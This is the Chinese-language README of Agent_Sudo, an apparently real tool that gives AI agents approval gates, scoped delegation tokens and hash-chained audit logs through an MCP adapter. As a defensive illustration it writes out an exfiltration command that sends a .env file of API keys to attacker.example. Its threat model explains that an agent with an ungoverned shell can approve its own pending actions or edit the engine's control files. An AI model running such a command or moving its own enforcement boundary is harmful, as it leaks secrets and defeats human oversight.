Kisyntra/Agent_Sudo
GitHub: Kisyntra/Agent_Sudo
Agent_Sudo 是面向 AI agent 的授权、委派、溯源和可验证审计引擎，通过 MCP 适配器为 agent 操作提供有界权限和防篡改审计日志。
Stars: 6 | Forks: 3
# Agent_Sudo
你应该会看到：
```
Agent_Sudo Evaluation
[1/5] Blocked unsafe request ........ PASS
[2/5] Created delegation ............ PASS
[3/5] Delegated request allowed ..... PASS
[4/5] Token exhausted, denied again . PASS
[5/5] Audit chain verified .......... PASS
Result: PASS
Audit log: /tmp/agent-sudo-eval-.../audit.jsonl
Next: agent-sudo audit list /tmp/agent-sudo-eval-.../audit.jsonl
```
`agent-sudo eval` 完全在一个临时目录中运行（不会更改你的 `~/.agent-sudo` 状态），它会打印出审计日志所在的位置，并在任何步骤失败时以非零状态退出。有关逐步操作指南，请参阅 **[在 5 分钟内评估 Agent_Sudo](docs/evaluate_5_minutes.md)**。
### 你将验证的内容
- 默认情况下，通过 Agent_Sudo 引擎的关键 shell 请求不会被执行。
- 一次性委派只允许恰好一个匹配的请求。
- 委派消耗完后，相同的请求将被拒绝。
- 决策将被写入能够干净利落地验证的哈希链审计日志中（`agent-sudo verify-audit`）。
## MCP 适配器设置
MCP 是 Agent_Sudo 连接到你的 agent 的方式——**这是接线，而不是另一次安装。** 你已经在上一步中安装了该包；在这里 `agent-sudo setup` 会将 `agent-sudo-mcp` 服务器插入到你的 AI 客户端中，然后客户端会自动为你启动它。
确认安装并定位你的客户端将运行的服务器二进制文件：
```
agent-sudo --version
which agent-sudo-mcp
```
**新手路径 —— 只需运行 `agent-sudo setup`** 并从菜单中选择你的客户端；它会打印出正确的、可粘贴的配置：
```
agent-sudo setup
# 1. Claude Code
# 2. Codex CLI
# 3. Claude Desktop
# 4. Hermes
# 5. OpenClaw
```
**高级/脚本化路径 —— 直接指定目标名称**（无提示，对 CI 友好）：
| Client | 一步设置 | 指南 |
| :--- | :--- | :--- |
| **Claude Code** | `agent-sudo setup claude-code` 打印 `claude mcp add …` 命令 | [Claude Code](docs/integrations/mcp_server_setup.md#claude-code) |
| **Codex CLI** | `agent-sudo setup codex` 打印 `~/.codex/config.toml` 代码块 | [Codex CLI](docs/integrations/mcp_server_setup.md#codex-cli) |
| **Claude Desktop** | `agent-sudo setup claude-desktop` 打印 `claude_desktop_config.json` 代码块 | [Claude Desktop](docs/integrations/claude_desktop_setup.md) |
`agent-sudo setup ` 会为你解析出 `agent-sudo-mcp` 的绝对路径。（如果既没有指定客户端 *也没有* 终端——例如在 CI 中——`agent-sudo setup` 会列出目标并以非零状态退出，而不是提示输入。）交互式批准还需要运行 `agent-sudo init-approval`（参见[首次运行](docs/first_run.md)）；基于委派的评估则不需要。
```
{
"mcpServers": {
"agent-sudo": {
"command": "/ABS/PATH/TO/agent-sudo-mcp",
"args": [
"--audit-log", "/ABS/HOME/.agent-sudo/mcp-audit.jsonl",
"--delegations-file", "/ABS/HOME/.agent-sudo/delegations.json",
"--pending-approvals-file", "/ABS/HOME/.agent-sudo/pending_approvals.json",
"--workspace", "/ABS/PATH/TO/your/project",
"--notify", "--open-approval-terminal"
]
}
}
}
```
请使用绝对路径：客户端会从你无法控制的目录启动服务器。**`--delegations-file` 是必需的** —— 如果没有它，服务器将在没有委派存储的情况下运行，并且 `agent-sudo delegate create` 的 token 会被静默忽略。`--notify` / `--open-approval-terminal` 仅限 macOS 使用（在其他平台上无效）。在 `args` 中，每个标志和值都必须是独立的字符串。
重启 Claude Desktop，要求它使用 Agent_Sudo 工具，然后验证该操作是否已通过引擎路由——传入你配置的 **相同** 审计日志路径：
```
agent-sudo audit list "$HOME/.agent-sudo/mcp-audit.jsonl"
```
## 信任边界：什么受保护，什么不受保护
Agent_Sudo 只能看到 **通过其路由** 的工具调用。在依赖它之前，这是你需要理解的最重要的一点。
| ✅ 受保护 | ❌ 不受保护 |
| :--- | :--- |
| 通过 `agent-sudo` 适配器进行的工具调用（文件读/写、shell、网络）—— 经过门控、分类和记录 | 客户端 **自带的原生/内置工具**（例如 Claude Desktop 的内置文件或 Web 工具），这些不经过 Agent_Sudo |
| 任何禁用危险工具或显式通过引擎代理危险工具的运行时 | 你安装的 **其他 MCP 服务器**，它们直接向 agent 暴露文件系统/shell/网络 |
| 意图级别的决策：溯源、审批门控、委派作用域、审计 | 操作系统级别的隔离（为此请使用 Docker/VM —— 参见[对比](docs/comparison/sandboxes.md)） |
**如何确保你确实受到了保护：**
1. 通过 `agent-sudo` 适配器路由 agent 的高风险能力（参见 [Claude Desktop 设置指南](docs/integrations/claude_desktop_setup.md)）。
2. 禁用或移除授予 agent 直接文件/shell/网络访问权限并绕过引擎的 **其他** 工具。
3. **使用审计日志进行验证。** 要求 agent 执行一项操作，然后运行 `agent-sudo audit list`。如果该操作被记录下来了，说明它经过了 Agent_Sudo。**如果它 *不在* 日志中，说明它绕过了 Agent_Sudo 且未受保护** —— 该能力仍然需要被禁用或通过引擎路由。
这是一个深思熟虑的范围选择，而不是缺陷：Agent_Sudo 为其调解的工具管理 *意图和授权*。将其与操作系统级别的隔离（Docker/Firecracker）结合使用，以实现环境隔离。
### Agent_Sudo 保护和不保护的内容
**它是什么：** 一个具有人工审批门控、作用域委派和防篡改（哈希链）审计日志的策略和溯源引擎 —— 适用于通过其路由的工具调用。
**保护：**
- **过度代理** —— 敏感/关键操作（shell、关键文件写入、外部发布）在运行前需要人工批准。
- **不受信任来源的操作** —— 来源为外部内容（例如获取的网页）的操作将根据 *指令的来源* 而非其措辞被升级或拒绝。
- **防篡改审计** —— 每个决策都会记录到一个由 SHA-256 哈希链保护的日志中，`agent-sudo verify-audit` 可以检查其事后的修改。
- **作用域委派** —— 临时的、资源受限的 token 授予会自动过期的狭窄访问权限。
**不保护：**
- **绕过引擎的工具** —— 不通过 Agent_Sudo 路由的客户端原生工具或其他 MCP 服务器既不受门控也不受审计。
- **作为内容安全问题的 prompt 注入** —— Agent_Sudo **不能** 可靠地检测散文中的注入指令。内置的短语检测器是一个 **尽力而为的绊线**，它只会标记几个字面字符串；真正的保护是基于溯源的升级，而不是文本匹配。
- **操作系统级别的隔离** —— 它不是沙盒；将其与 Docker/Firecracker 结合使用以进行文件系统/进程隔离。
- **受损的本地环境** —— 任何拥有 **不受管辖的本地 shell** 的人（或任何 agent）都可以批准待处理的操作或直接编辑 Agent_Sudo 自己的控制平面文件。可以运行宿主机原生命令的 agent 可以更改工作区（`agent-sudo workspace set`）、委派或配置，从而 *移动* 执行边界而不是通过它路由。禁用或路由 agent 的原生 shell 以保持边界。工作区更改现在会作为 `workspace_changed` 事件记录在审计日志中，因此即使在引擎外部进行的更改，对于 `agent-sudo verify-audit` 也是可见的。
完整分析请参阅 [安全和威胁模型](docs/architecture/security_model.md)。
## 如果我已经使用了 Docker，为什么还要用 Agent_Sudo？
安全工程师和开发人员经常问的一个问题是：*“如果我已经把我的 agent 隔离在 Docker 容器、gVisor 沙盒或 Firecracker microVM 中了，为什么还需要策略引擎？”*
区别在于关注点分离：
* **Docker/Firecracker/沙盒** 回答：**“代码可以在哪里运行？”** 它们将进程与宿主操作系统隔离，防止 agent 逃逸到你的本地机器，但它们 *不会* 监控 agent 在沙盒内部做了什么。
* **Agent_Sudo** 回答：**“此操作是否已授权？”** 它在意图和应用逻辑层面运作，在执行前评估单个操作的上下文、溯源和授权规则。
### 实际示例
即使在一个完美隔离的 Docker 容器内，拥有原始工具访问权限的 agent 也可以：
1. **窃取机密**：运行 `curl -X POST -d @.env https://attacker.example` 来泄露你的 API 密钥。VM 默认允许出站网络请求；Agent_Sudo 会检测来源信任度和目标，从而阻止数据渗漏。
2. **编写/注入代码**：编辑你项目的 `main.py` 以插入后门或恶意依赖。虽然 Docker 防止了对宿主机的污染，但它无法阻止 agent 破坏你的项目工作区。Agent_Sudo 会标记关键的文件编辑并要求人工确认。
3. **进行社会工程学攻击**：以 agent 所有者的名义，向外部用户发送包含钓鱼链接的自动电子邮件、Slack 消息或 Discord 警报。Agent_Sudo 基于用户批准对通信工具进行门控。
4. **超出委派作用域**：运行自动化构建流水线的 agent 可能会无意或恶意地调用超出其预期作用域的工具。Agent_Sudo 使用 **临时委派 token**，一旦达到配额或存活时间（TTL）到期，就会自动锁定该。
这两个层次是 **互补的**：使用 Docker/VM 沙盒来隔离环境资源，使用 Agent_Sudo 来验证工具执行意图。有关详细的技术分解，请参阅 [Agent_Sudo 与容器/VM 沙盒对比](docs/comparison/sandboxes.md)。
## 核心能力
按照区分 Agent_Sudo 的要素进行排序，审批门控只是其中的一种执行机制。
- **基于溯源的执行**：根据其 *来源* 的信任度对每个操作进行分类。指令可追溯至不受信任的外部内容的操作将根据其 *来源* 被升级或拒绝，与措辞无关。这是 [60秒演示](#see-the-difference-in-60-seconds) 背后的保护机制——而不是一个 prompt 注入文本检测器。
- **作用域委派**：颁发临时的、资源受限的权限 token（例如，允许对 `/path/to/project` 进行 2 小时的读取访问，最多 10 次使用），这些 token 会自动过期——这是 agent 可以在无人监督的情况下使用、然后就会失去的狭窄权限。
- **授权和受保护的读取**：自动拦截针对私钥（如凭据）、配置文件夹和 shell 启动脚本等私有文件的读取操作，并在目标是可执行代码或配置时，将普通的文件写入升级为关键状态。
- **可验证的审计日志**：将所有工具尝试和引擎决策记录到由 SHA-256 哈希链保护的本地 JSONL 日志中，以检测篡改。使用 `agent-sudo audit list` 进行检查，或使用 `agent-sudo verify-audit` 验证完整性。
- **审批门控**：在敏感操作上提示交互式确认（CLI yes/no），并在关键操作（例如运行 shell 命令）上要求本地密码——这是边界内的一个人机交互步骤。
- **MCP 适配器**：实现 Model Context Protocol，以作为 stdio 服务器直接插入 Claude Desktop 和其他 MCP 客户端——这是连接引擎的首个可用于生产环境的方式。
## 框架示例模板
Agent_Sudo 提供了预构建的示例模板，展示了主要 Python agent 框架的进程内集成。这些演示了直接嵌入引擎的方式，超越了 MCP 适配器的范畴：
* ✓ **[OpenAI Agents SDK](examples/openai_agents_sdk/)** —— 预包装助手工具函数。
* ✓ **[PydanticAI](examples/pydantic_ai/)** —— **规范的端到端 dogfood**：一个真实的（确定性、离线的）agent 循环驱动引擎决策、真实的文件 I/O、作用域委派和经过验证的审计。
* ✓ **[LangGraph](docs/examples/langgraph.md)** —— 保护工具节点执行和图状态（[examples/langgraph_integration.py](examples/langgraph_integration.py)）。
* ✓ **[agent-runtimes](examples/agent_runtimes/)** —— 在 config 中注册本地工具钩子处理程序。
## 更多演示
### 内置策略演示
运行本地预演策略演示：
```
agent-sudo demo
```
这对于快速查看策略决策非常有用。它不是主要的激活路径，因为它没有展示完整的“拒绝 -> 委派 -> 允许一次 -> 拒绝（耗尽）”循环。
在 [60秒演示](#see-the-difference-in-60-seconds) 和 [5分钟评估路径](#evaluate-agent_sudo-in-5-minutes) 成功运行后，完整的评估流程和更广泛的集成指南是参考资料。
## 贡献者设置
如果你正在开发 `Agent_Sudo` 或将其与自定义运行时集成：
```
# Clone 仓库
git clone https://github.com/Kisyntra/Agent_Sudo.git
cd Agent_Sudo
# 以 editable mode 安装
python3 -m pip install -e .
```
运行单元测试：
```
python3 -m unittest discover -s tests
```
# 生态系统
MCP 是目前可用于生产环境的适配器。其他运行时集成也处于不同的成熟度阶段——我们与 agent 运行时维护者和外部实施者合作，定义可移植的授权和审计模式。下面如实说明了成熟度；这尚未实现广泛的运行时采用。
* **可用于生产环境的适配器**：
* **MCP** —— 作为 `io.github.Kisyntra/agent-sudo-mcp` 发布。[PyPI](https://pypi.org/project/agent-sudo-mcp/) • [官方 MCP 注册表](https://registry.modelcontextprotocol.io/v0/servers?search=agent-sudo-mcp) • [Glama 列表](https://glama.ai/mcp/servers/Kisyntra/Agent_Sudo)。
* **已合并的集成**：
* **[agent-runtimes](https://github.com/datalayer/agent-runtimes)** —— 本地插件钩子处理程序（`agent_sudo_local`），已在 PR #98 中合并。
* **进行中**：
* **[LexFlow](https://github.com/VforVitorio/LexFlow)** —— 针对 JS/TS 原生客户端审计日志记录和验证的设计评审（#124）。
* **研究 / 本地 PoC**：
* **[Hermes](https://github.com/NousResearch/hermes-agent)** —— 针对注册表级别的调度门控的实验性架构研究（#34992）。
有关完整的兼容性矩阵和集成详细信息，请参阅 [生态系统状态指南](docs/ecosystem/ecosystem_status.md)。
## 文档目录
| 目录 / 章节 | 主题 | 关键文件 |
| :--- | :--- | :--- |
| **评估** | 首次激活路径 | [在 5 分钟内评估](docs/evaluate_5_minutes.md) • [首次运行参考](docs/first_run.md) |
| **CLI 参考** | 每个命令、使用时机、常见错误 | [命令参考](docs/command_reference.md) |
| **故障排除** | 诊断和解决步骤 | [docs/troubleshooting.md](docs/troubleshooting.md) |
| **集成** | 连接到运行时和 IDE | [docs/integrations/overview.md](docs/integrations/overview.md) • [生态系统状态](docs/ecosystem/ecosystem_status.md) • [拓展手册](docs/ecosystem/outreach_playbook.md) • [采用仪表盘](docs/ecosystem/adoption_dashboard.md) • [可发现性说明](docs/ecosystem/discoverability_notes.md) • [LexFlow 准备情况](docs/ecosystem/lexflow_readiness.md) • [LexFlow 检查清单](docs/ecosystem/lexflow_compatibility_checklist.md) • [Claude Desktop](docs/integrations/claude_desktop_setup.md) • [MCP 设置](docs/integrations/mcp_server_setup.md) • [agent-runtimes](docs/integrations/agent-runtimes.md) • [Hermes (研究)](docs/integrations/hermes-research.md) |
| **框架集成** | 针对 agent 框架的直接 SDK 门控 | [LangGraph 集成指南](docs/examples/langgraph.md) • [examples/langgraph_integration.py](examples/langgraph_integration.py) |
| **架构** | 抽象和核心流水线 | [docs/architecture/overview.md](docs/architecture/overview.md) • [分层架构](docs/architecture/layered_architecture.md) • [执行模型](docs/architecture/enforcement_model.md) |
| **规范** | 语言无关的模型 | [spec/runtime_compatibility_levels.md](spec/runtime_compatibility_levels.md) • [通用 Schema](spec/universal_schema.md) • [策略和审计](spec/policy_audit_schema.md) • [互操作性测试套件](docs/interop/interoperability_test_kit.md) |
| **安全** | 威胁建模和限制 | [docs/architecture/security_model.md](docs/architecture/security_model.md) |
| **对比** | 策略与容器沙盒 | [Docker 和 Firecracker 对比](docs/comparison/sandboxes.md) |
## CI/CD 和发布自动化
`Agent_Sudo` 使用 GitHub Actions 来自动化检查和分发：
- **持续集成**：CI 工作流在针对 `main` 分支的所有推送和拉取请求上运行，执行单元测试套件，扫描个人路径泄露，执行 `git diff --check` 空白验证，并验证 Python 包编译。
- **自动化发布**：当推送匹配 `v*` 的 git 标签时，会自动生成发布。
- 发布候选标签（例如 `v0.4.0-rc12`）将作为 GitHub 预发布发布，并明确排除在标记为最新发布之外。
- 发布说明会自动从 `CHANGELOG.md` 中匹配的版本条目中解析和提取。
没有 pipx？其他安装方式 —— 相同的包，任选其一
``` # 选项 A — pipx（推荐）：隔离工具并将 `agent-sudo` 添加到您的全局 PATH pipx install agent-sudo-mcp # 选项 B — pip + virtualenv：安装到您激活的项目本地环境中 python3 -m venv venv && source venv/bin/activate pip install agent-sudo-mcp ``` 两者都安装**相同的** PyPI 包，并提供相同的两个命令： - **`agent-sudo`** —— *你* 运行的 CLI（`eval`、`audit`、`delegate`、`setup` 等）。 - **`agent-sudo-mcp`** —— 你的 AI 客户端为你启动的服务器。你永远不需要手动运行它；`agent-sudo setup` 会将其接入你的客户端（参见 [MCP 适配器设置](#mcp-adapter-setup)）。标签：AI智能体, Blue Team, MCP协议, 审计溯源, 权限委托, 身份与访问控制, 逆向工具, 零信任架构